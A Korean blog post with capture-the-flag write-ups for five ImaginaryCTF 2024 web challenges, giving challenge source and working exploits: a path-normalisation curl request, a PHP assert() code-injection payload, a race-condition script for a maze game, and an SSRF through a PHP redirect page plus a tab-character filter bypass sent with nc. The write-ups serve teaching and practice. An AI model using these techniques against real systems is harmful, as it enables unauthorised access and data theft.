Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

ImaginaryCTF 2024

ImaginaryCTF

대회 일정

2024-07-20 04:00 ~ 2024-07-22 04:00

대회 후기

오랜만에 부대원들과 함께 CTF에 참여해 문제를 풀었다. 대회 당시 웹만 풀었고 10문제 중 5문제를 풀었다. 전체적으로 난이도가 높지 않고 적당했던 것 같다.

Writeup

readme

978 solved / 100 pts

FROM node:20-bookworm-slim

RUN apt-get update \
    && apt-get install -y nginx tini \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public

COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh

ENV FLAG="ictf{path_normalization_to_the_rescue}"

ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]

도커 파일을 열면, 플래그가 존재한다…(?)

server {
    listen       80 default_server;
    listen  [::]:80;
    root /app/public;

    location / {
        if (-f $request_filename) {
            return 404;
        }
        proxy_pass http://localhost:8000;
    }
}

nginx에서 / 뒤에 요청하는 파일을 직접적으로 접근이 불가능하도록 막아두어 /flag.txt/. 요청을 보내 푸는 문제였다고 한다.

Exploit Code

curl --path-as-is 'http://readme.chal.imaginaryctf.org/flag.txt/.'

Flag

ictf{path_normalization_to_the_rescue}

journal

518 solved / 100 pts

FROM php:7-apache

RUN /usr/sbin/useradd -u 1000 user

COPY index.php /var/www/html/
RUN chown -R www-data:www-data /var/www/html && \
    chmod -R 444 /var/www/html && \
    chmod 555 /var/www/html

COPY flag.txt /flag.txt
COPY files /var/www/html/files/
RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt

VOLUME /var/log/apache2
VOLUME /var/run/apache2

CMD bash -c 'source /etc/apache2/envvars && APACHE_RUN_USER=user APACHE_RUN_GROUP=user /usr/sbin/apache2 -D FOREGROUND'

flag.txt 파일을 flag-random-number 형태로 파일 명을 변경한다. RCE를 통해 파일 명을 알아내야한다.

<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

echo "</p>";

assert() 함수에서 PHP 코드를 실행시킬 수 있어 유저 입력으로 '.system('').'를 입력하면 strpos(''.system('').'','..') === false 구문이 되어 system('')을 실행한 결과가 strpos() 함수의 첫 번째 인자에 들어가게 된다. 명령을 입력해 플래그 값을 읽어내면 된다.

Exploit Code

Flag

ictf{assertion_failed_e3106922feb13b10}

crystals

145 solved / 100 pts

version: '3.3'
services:
  deployment:
    hostname: $FLAG
    build: .
    ports:
      - 10001:80

docker-compose.yml 파일을 보면, hostname 값이 플래그로 설정되어있다. hostname 값을 알아내기 위해 Bad Request 요청을 보내니 플래그를 얻을 수 있었다.

Exploit Code

Flag

ictf{seems_like_you_broke_it_pretty_bad_76a87694}

The Amazing Race

100 solved / 100 pts

from flask import Flask, redirect, render_template, Response, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from sqlite3 import *
from uuid import uuid4
from time import sleep

from maze import Maze

app = Flask(__name__)
limiter = Limiter(
    get_remote_address,
    app=app,
    storage_uri="memory://",
)

MAZE_SIZE = 35   
       
def initDb():
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    cur.execute('''
        CREATE TABLE IF NOT EXISTS mazes(
            id TEXT PRIMARY KEY, 
            maze TEXT NOT NULL,
            row INTEGER NOT NULL DEFAULT 0,
            col INTEGER NOT NULL DEFAULT 0,
            up BOOL NOT NULL DEFAULT False,
            down BOOL NOT NULL DEFAULT True,
            left BOOL NOT NULL DEFAULT False,
            right BOOL NOT NULL DEFAULT True
            )
    ''')
    con.commit()
    cur.close()
    con.close()     
                
def createMaze():
    mazeId = str(uuid4())
    maze = Maze(2, MAZE_SIZE)

    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    cur.execute('''
        INSERT INTO mazes (id, maze)
        VALUES (?, ?)
    ''', (mazeId, str(maze).strip()))
    con.commit()
    cur.close()
    con.close()
    return mazeId

def getLoc(mazeId):
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    ret = cur.execute("SELECT row, col FROM mazes WHERE id = ?", (mazeId,)).fetchone()
    cur.close()
    con.close()
    return ret

...

@app.route("/", defaults={"mazeId": None})
@app.route("/<mazeId>")
def index(mazeId):
    if not mazeId:
        return redirect(f"/{createMaze()}")
    solved=getLoc(mazeId) == (MAZE_SIZE-1, MAZE_SIZE-1)
    return render_template("maze.html", 
        maze=getMaze(mazeId), 
        mazeId=mazeId,
        flag=open("flag.txt").read() if solved else ""
    )
      
...

initDb()
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=7000)

/ 엔드포인트에 접근하면, 미로를 생성한다. 시작 위치는 (0, 0) 이며 도착 지점은 (34, 34)이다. 도착 지점에 도달하면 플래그 값을 반환한다.

class Maze:
    ...

    def gen(self): 
        ...

        self.set(*([0]*self.dim), val='@')
        for i in self.neighbors(*([0]*self.dim)):
            self.set(*i, val='.')

        self.set(*([self.size-1]*self.dim), val='F')
        for i in self.neighbors(*([self.size-1]*self.dim)):
            self.set(*i, val='#')

미로 생성 로직을 보면, 시작 위치 (0, 0) 주변에 .(땅)을 놓고 도착 위치 (34, 34) 주변에 #(벽)을 놓아 도착 위치에 도달할 수 없도록 막아두었다.

def getMaze(mazeId):
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    ret = cur.execute("SELECT maze FROM mazes WHERE id = ?", (mazeId,)).fetchone()[0]
    cur.close()
    con.close()
    return ret

def getLoc(mazeId):
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    ret = cur.execute("SELECT row, col FROM mazes WHERE id = ?", (mazeId,)).fetchone()
    cur.close()
    con.close()
    return ret

def getCanMove(mazeId):
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    ret = cur.execute("SELECT up, down, left, right FROM mazes WHERE id = ?", (mazeId,)).fetchone()
    cur.close()
    con.close()
    return ret

def writeMaze(mazeId, maze):
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    cur.execute('''
        UPDATE mazes SET maze = ? WHERE id = ?
    ''', (maze, mazeId))
    con.commit()
    cur.close()
    con.close()

def writeLoc(mazeId, loc):
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    cur.execute('''
        UPDATE mazes SET row = ?, col = ? WHERE id = ?
    ''', (*loc, mazeId))
    con.commit()
    cur.close()
    con.close()

def writeCanMove(mazeId, canMove):
    con = connect("/tmp/mazes.db")
    cur = con.cursor()
    cur.execute('''
        UPDATE mazes SET up = ?, down = ?, left = ?, right = ? WHERE id = ?
    ''', (*canMove, mazeId))
    con.commit()
    cur.close()
    con.close()

def bound(n, mn=0, mx=MAZE_SIZE):
    return max(min(n, mx), mn)

def inn(n, mn = 0, mx = MAZE_SIZE):
    return mn <= n < mx 

@app.route("/move", methods=["POST"])
def move():
    mazeId = request.args["id"]
    moveStr = request.args["move"]

    canMove = getCanMove(mazeId)
    validMoves = ["up", "down", "left", "right"]
    moveIdx = None
    if moveStr in validMoves:
        moveIdx = validMoves.index(moveStr)
    validMovesDict = {"up": (-1, 0), "down": (1, 0), "left": (0, -1), "right": (0, 1)}
    move = validMovesDict.get(moveStr, None)
    if not move or moveIdx is None or not canMove[moveIdx]:
        return redirect(f"/{mazeId}")

    currentLoc = getLoc(mazeId)
    newLoc = [bound(currentLoc[0] + move[0]), bound(currentLoc[1] + move[1])]

    writeLoc(mazeId, newLoc)

    mazeStr = getMaze(mazeId)
    maze = [[c for c in row] for row in mazeStr.splitlines()]
    maze[currentLoc[0]][currentLoc[1]] = '.'
    maze[newLoc[0]][newLoc[1]] = '@'
    writeMaze(mazeId, '\n'.join(''.join(row) for row in maze))

    newCanMove = []
    for dr, dc in [(-1, 0), (1, 0), (0, -1), (0, 1)]:
        checkLoc = [newLoc[0] + dr, newLoc[1] + dc]
        newCanMove.append(
            inn(checkLoc[0]) and inn(checkLoc[1])
            and maze[checkLoc[0]][checkLoc[1]] != '#'
        )
    writeCanMove(mazeId, newCanMove)

    return redirect(f"/{mazeId}")

/move 엔드포인트를 분석해보면, 유저로부터 이동할 방향을 전달받아 #(벽)이 아닌 경우에 이동한다.

@(유저 위치)는 writeLoc()에 의해 지정되는데 인접한 경로에 갔을 때 주변을 이동할 수 있는지 newCanMove 리스트에 저장되며 writeCanMove()를 호출하여 데이터베이스에 업데이트한다.

예를 들어, (3, 3) 위치에서 오른쪽으로 이동하려고 할 떄, (3, 4)에서 이동할 수 있는 인접한 경로들을 newCanMove 리스트에 저장한다. (3, 4)에 인접한 (-2, 4), (4, 4), (3, 3), (3, 5) 위치에 이동 가능 여부를 0 또는 1로 설정한다.

if not move or moveIdx is None or not canMove[moveIdx]:
    return redirect(f"/{mazeId}")

다음 이동 때, canMove[moveIdx]를 통해 이전에 설정한 값으로 이동 가능 여부를 판단하고 이동하게 된다.

하지만, 여러 요청을 보내 writeCanMove() 함수가 호출되기 전에 새로운 요청에 대해 writeLoc() 함수가 처리되면 # (벽)을 지날 수 있게되어 도착 지점에 도달할 수 있다.

Exploit Code

새로운 UUID 값을 받을 때마다 미로가 달라진다. 그렇기 때문에 BFS 알고리즘을 사용해 도착 지점 대각선에 위치한 (33, 33)까지는 자동으로 가도록 구현했다.

import requests
import copy 
from collections import deque

MAZE_SIZE = 35
visited = [[0] * MAZE_SIZE for _ in range(MAZE_SIZE)]

dx = [-1, 0, 1, 0]
dy = [ 0, 1, 0,-1]
dir = [ 'L', 'D', 'R', 'U']
curr_y, curr_x = 0, 1 

id = "fbb96d75-3d61-471f-9233-c63548c1b743"
url = f"http://the-amazing-race.chal.imaginaryctf.org"
# url = f"http://localhost:7000"

def move(path): 
    # path.append("D")
    # path.append("R")
    dr = {"L": "left", "D": "down", "R": "right", "U": "up"}
    for x in path:
        r = requests.post(
            f"{url}/move?id={id}&move={dr[x]}", 
        )
        # print(r.status_code)
        # print(r.text) 
        assert r.status_code == 200
    print("Done")
    r = requests.get(
        f"{url}/{id}"
    )
    print(r.text)

r = requests.get(
    f"{url}/{id}"
)

maze = r.text[ r.text.find("<code>")+7 : r.text.find("</code>")-1 ]
mat = [[] for _ in range(MAZE_SIZE)]
i = 0
for j in range(len(maze)):
    if maze[j] == "\n": 
        i = i + 1
        continue
    mat[i].append(maze[j])
maze = mat 

for i in range(len(mat)): 
    for j in range(len(mat[i])): 
        print(mat[i][j], end='')
    print()
    

d = deque([[0, 0, []]])
visited[0][0] = 1

while len(d) != 0: 
    curr = d.popleft() 
    curr_y, curr_x, path = curr[0], curr[1], curr[2]

    if curr_y == MAZE_SIZE - 2 and curr_x == MAZE_SIZE - 2: 
        print(path)
        move(path) 
        break 

    for k in range(4): 
        next_y = curr_y + dy[k]
        next_x = curr_x + dx[k] 

        if next_x < 0 or next_y < 0 or next_y >= MAZE_SIZE - 1 or next_x >= MAZE_SIZE - 1: continue 
        if visited[next_y][next_x] or maze[next_y][next_x] == '#': continue 
        visited[next_y][next_x] = 1
        new_path = copy.deepcopy(path) 
        new_path.append(dir[k])
        d.append([next_y, next_x, new_path])

for i in range(len(mat)): 
    for j in range(len(mat[i])): 
        print(visited[i][j], end='')
    print()

이후, (33, 33) 위치에서 (34, 34) 도착 지점과 2, 3칸 떨어진 (30, 34) 위치로 이동했다. 그 이유는 (33, 33)에 위치하면 데이터베이스에 left, right, up, down 값이 반영되어있어 벽을 이동할 수 없기 때문이다.

그래서, 도착 위치에서 조금 떨어진 (30, 34) 또는 (31, 34)에서 Race Condition을 시도했다.

async function gogo(id) {
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "/move?id=" + id + "&move=down", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    xhr.onreadystatechange = () => {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    };
    xhr.send("");
}

for (let i = 0; i < 5; i++) {
    gogo("fbb96d75-3d61-471f-9233-c63548c1b743");
    gogo("fbb96d75-3d61-471f-9233-c63548c1b743");
}

콘솔에서 스크립트를 실행시키고 Down 버튼 또한 같이 눌러 여러 요청을 보내 문제를 해결할 수 있었다.

Flag

ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st}

readme2

56 solved / 100 pts

const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'

Bun.serve({
	async fetch(req) {
		const url = new URL(req.url)
		if (url.pathname === '/') return new Response('Hello, World!')
		if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
		return new Response(`404 Not Found: ${url.pathname}`, { status: 404 })
	},
	port: 3000
})

Bun.serve({
	async fetch(req) {
		if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
		const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
		if (headerContainsFlag) return new Response('Nope', { status: 403 })
		const url = new URL(req.url)

		if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
		return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
			method: req.method,
			headers: req.headers,
			body: req.body
		})
	},
	port: 4000 // only this port are exposed to the public
})

/flag.txt 요청을 보내면, 플래그를 획득할 수 있다. 하지만, URL 경로나 HTTP Header에 flag 키워드를 넣을 수 없도록 제한되어있어 이를 우회해야한다.

new URL("//foo.com", "https://example.com"); 
// => 'https://foo.com' (see relative URLs)

https://developer.mozilla.org/ko/docs/Web/API/URL/URL

MDN에서 new URL()에 대해 찾아보니 위와 같은 예시가 있었다. new URL()에서 baseURL로 https://example.com를 설정하였더라도, //를 사용해 다른 호스트로 요청을 보낼 수 있다는 것이다.

그래서, //server-ip로 요청을 보내 응답 헤더를 Location: http://localhost:3000/flag.txt로 설정해 리다이렉션시켜 SSRF 취약점을 발생시켰다. 이 방법으로 문제를 해결했지만, 대회가 끝나고 나서 언인텐임을 알게 되었다.

printf 'GET /.. HTTP/1.0\r\nHost: fakehost/fla\tg.txt\r\n\r\n' | nc readme2.chal.imaginaryctf.org 80

의도한 풀이는 Host Header/flag.txt를 넣고 \t으로 flag 키워드를 우회하는 것이었다. 이 방식이 우회가 가능한 이유는 whatwg's url parsing algorithm에서 \t를 무시하고 처리하기 때문이다.

Exploit Code

<?php
    header("Location: http://127.0.0.1:3000/flag.txt");
?>
curl http://readme2.chal.imaginaryctf.org//server-ip 

Flag

ictf{just_a_funny_bug_in_bun_http_handling}